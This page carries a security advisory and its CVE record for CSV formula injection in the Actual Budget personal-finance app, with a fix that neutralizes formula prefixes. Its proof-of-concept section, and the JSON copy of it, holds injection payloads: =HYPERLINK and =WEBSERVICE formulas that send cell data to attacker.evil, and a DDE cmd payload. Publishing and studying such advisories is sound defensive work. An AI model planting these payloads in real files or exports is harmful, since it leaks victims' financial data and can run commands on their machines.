Vulnerability-Lookup

GHSA-XQJM-27PC-RVWM

Vulnerability from github – Published: 2026-06-22 23:48 – Updated: 2026-06-22 23:48

Summary

@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Details

Summary

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

return csvStringify(transactionsForExport, { header: true });

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.
sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":

Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00

Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
Payees are persisted into the payees table verbatim.
Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
The exported file looks like (verified output shape from csvStringify):

Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared
Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared
Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared
Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared
Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared

Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. =HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.

Impact

Confidentiality: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through =HYPERLINK clicks or auto-firing =WEBSERVICE/=IMPORTXML.
Integrity: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged "Refund" line items linking to phishing).
Reach: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.
Note on AC:H: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but =HYPERLINK exfil is universal and silent.

Recommended Fix

Pass a cast.string callback to csv-stringify that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in packages/loot-core/src/server/transactions/export/export-to-csv.ts:

import { stringify as csvStringify } from 'csv-stringify/sync';

const FORMULA_PREFIX = /^[=+\-@\t\r]/;

function neutralizeFormula(value: string): string {
  return FORMULA_PREFIX.test(value) ? `'${value}` : value;
}

const csvOptions = {
  header: true,
  cast: {
    string: (value: string) => neutralizeFormula(value),
  },
} as const;

// export-to-csv.ts:56
return csvStringify(transactionsForExport, csvOptions);

// export-to-csv.ts:131
return csvStringify(transactionsForExport, csvOptions);

Alternative defenses to consider in addition: - Strip/neutralize formula prefixes on import in parse-file.ts for payee_name/notes so the database never contains formula-shaped strings (defense in depth — protects any future export consumers). - Add a regression unit test that asserts every CSV cell starting with =, +, -, @, \t, or \r is prefixed with '.

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T23:48:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK(\"http://attacker/?leak=\"\u0026B2,\"Bank refund\")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.\n\n## Details\n\nSink \u2014 `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`:\n\n```ts\nreturn csvStringify(transactionsForExport, { header: true });\n```\n\nand the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper \u2014 `grep` for `csvStringify` finds exactly one source file across the monorepo.\n\nSource of attacker-controlled `Payee`/`Notes`:\n\n- `packages/loot-core/src/server/transactions/import/parse-file.ts:77` dispatches uploaded files to `parseCSV` (`:109`), `parseOFX` (`:200`), `parseQIF` (`:158`), `parseCAMT` (`:250`). None of them strip or escape formula prefixes from `payee_name`/`imported_payee`/`notes`.\n- For OFX, `mapOfxTransaction` in `packages/loot-core/src/server/transactions/import/ofx2json.ts` only runs `html2Plain` (HTML entity decoding) on the NAME field \u2014 `=`, `+`, `-`, `@`, `\\t` are untouched.\n- `sync.normalizeTransactions` (`packages/loot-core/src/server/transactions/sync.ts`) applies `title()` casing, which only mutates letters via `String.toLowerCase`; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (`=hyperlink(...)` parses identically to `=HYPERLINK(...)`).\n- The payee can also be entered directly through the UI or set via the `@actual-app/api`\u0027s payee/transaction CRUD endpoints \u2014 anyone with write access to a shared budget can plant the payload.\n\nVerification that `csv-stringify` does not neutralize formulas:\n\n```\n$ node -e \"const{stringify}=require(\u0027csv-stringify/sync\u0027);console.log(stringify([{Payee:\u0027=HYPERLINK(\\\"http://x/?\\\"\u0026B2,\\\"refund\\\")\u0027}],{header:true}))\"\nPayee\n\"=HYPERLINK(\"\"http://x/?\"\"\u0026B2,\"\"refund\"\")\"\n```\n\nThe double-quote escaping is intact, but the leading `=` is not prefixed with `\u0027` or otherwise neutralized \u2014 Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.\n\n## PoC\n\n1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into \"Import file\":\n\n```\nDate,Payee,Amount\n2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"\u0026B2\u0026C2,\"\"Bank refund details\"\")\",100.00\n2026-01-02,\"@SUM(1+1)*cmd|\u0027/c calc\u0027!A0\",50.00\n2026-01-03,\"+1+1\",-25.00\n2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"\u0026B2)\",10.00\n```\n\n2. Victim imports through Account \u2192 Import file. `parseFile` (`parse-file.ts:77`) \u2192 `parseCSV`/`parseOFX`/`parseQIF`/`parseCAMT` returns rows with the formula strings preserved as `payee_name`. `sync.normalizeTransactions` does not strip the prefix characters.\n3. Payees are persisted into the `payees` table verbatim.\n4. Some time later the victim runs Account \u2192 menu \u2192 Export. `transactions-export-query` invokes `exportQueryToCSV` (`export-to-csv.ts:131`).\n5. The exported file looks like (verified output shape from `csvStringify`):\n\n```\nAccount,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared\nChecking,2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"\u0026B2\u0026C2,\"\"Bank refund details\"\")\",,,,100.00,0,Not cleared\nChecking,2026-01-02,@SUM(1+1)*cmd|\u0027/c calc\u0027!A0,,,,50.00,0,Not cleared\nChecking,2026-01-03,+1+1,,,,-25.00,0,Not cleared\nChecking,2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"\u0026B2)\",,,,10.00,0,Not cleared\n```\n\n6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. `=HYPERLINK(...)` renders as a clickable link that exfiltrates adjacent cell values to attacker on click; `=WEBSERVICE`/`=IMPORTXML` (Sheets/LibreOffice) fire automatically; legacy `=cmd|...` DDE may execute on unpatched Excel.\n\n## Impact\n\n- **Confidentiality**: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through `=HYPERLINK` clicks or auto-firing `=WEBSERVICE`/`=IMPORTXML`.\n- **Integrity**: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged \"Refund\" line items linking to phishing).\n- **Reach**: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.\n- **Note on AC:H**: requires victim-driven import \u2192 export \u2192 spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but `=HYPERLINK` exfil is universal and silent.\n\n## Recommended Fix\n\nPass a `cast.string` callback to `csv-stringify` that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in `packages/loot-core/src/server/transactions/export/export-to-csv.ts`:\n\n```ts\nimport { stringify as csvStringify } from \u0027csv-stringify/sync\u0027;\n\nconst FORMULA_PREFIX = /^[=+\\-@\\t\\r]/;\n\nfunction neutralizeFormula(value: string): string {\n  return FORMULA_PREFIX.test(value) ? `\u0027${value}` : value;\n}\n\nconst csvOptions = {\n  header: true,\n  cast: {\n    string: (value: string) =\u003e neutralizeFormula(value),\n  },\n} as const;\n\n// export-to-csv.ts:56\nreturn csvStringify(transactionsForExport, csvOptions);\n\n// export-to-csv.ts:131\nreturn csvStringify(transactionsForExport, csvOptions);\n```\n\nAlternative defenses to consider in addition:\n- Strip/neutralize formula prefixes on import in `parse-file.ts` for `payee_name`/`notes` so the database never contains formula-shaped strings (defense in depth \u2014 protects any future export consumers).\n- Add a regression unit test that asserts every CSV cell starting with `=`, `+`, `-`, `@`, `\\t`, or `\\r` is prefixed with `\u0027`.",
  "id": "GHSA-xqjm-27pc-rvwm",
  "modified": "2026-06-22T23:48:40Z",
  "published": "2026-06-22T23:48:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields"
}

CVE-2026-50179 (GCVE-0-2026-50179)

Vulnerability from cvelistv5 – Published: 2026-07-07 20:58 – Updated: 2026-07-07 20:58

Title

Actual: CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Summary

Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0.

Severity

4.2 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

CWE

CWE-1236 - Improper Neutralization of Formula Elements in a CSV File

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/actualbudget/actual/security/a…	x_refsource_CONFIRM
https://github.com/actualbudget/actual/commit/068…	x_refsource_MISC
https://github.com/actualbudget/actual/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
actualbudget	actual	Affected: < 26.6.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "actual",
          "vendor": "actualbudget",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.6.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Actual is a local-first personal finance tool. Prior to 26.6.0, exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with equals sign, plus, minus, at sign, tab, or carriage return survive verbatim into the exported CSV, and when a recipient opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas, enabling transaction data exfiltration and attacker-chosen spreadsheet display values. This issue is fixed in version 26.6.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1236",
              "description": "CWE-1236: Improper Neutralization of Formula Elements in a CSV File",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-07T20:58:16.074Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm"
        },
        {
          "name": "https://github.com/actualbudget/actual/commit/068185751c03b42e726e3c60b718413d5f96c306",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/actualbudget/actual/commit/068185751c03b42e726e3c60b718413d5f96c306"
        },
        {
          "name": "https://github.com/actualbudget/actual/releases/tag/v26.6.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/actualbudget/actual/releases/tag/v26.6.0"
        }
      ],
      "source": {
        "advisory": "GHSA-xqjm-27pc-rvwm",
        "discovery": "UNKNOWN"
      },
      "title": "Actual: CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-50179",
    "datePublished": "2026-07-07T20:58:16.074Z",
    "dateReserved": "2026-06-03T22:05:13.644Z",
    "dateUpdated": "2026-07-07T20:58:16.074Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-XQJM-27PC-RVWM

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-50179 (GCVE-0-2026-50179)

Tags

Sightings

Nomenclature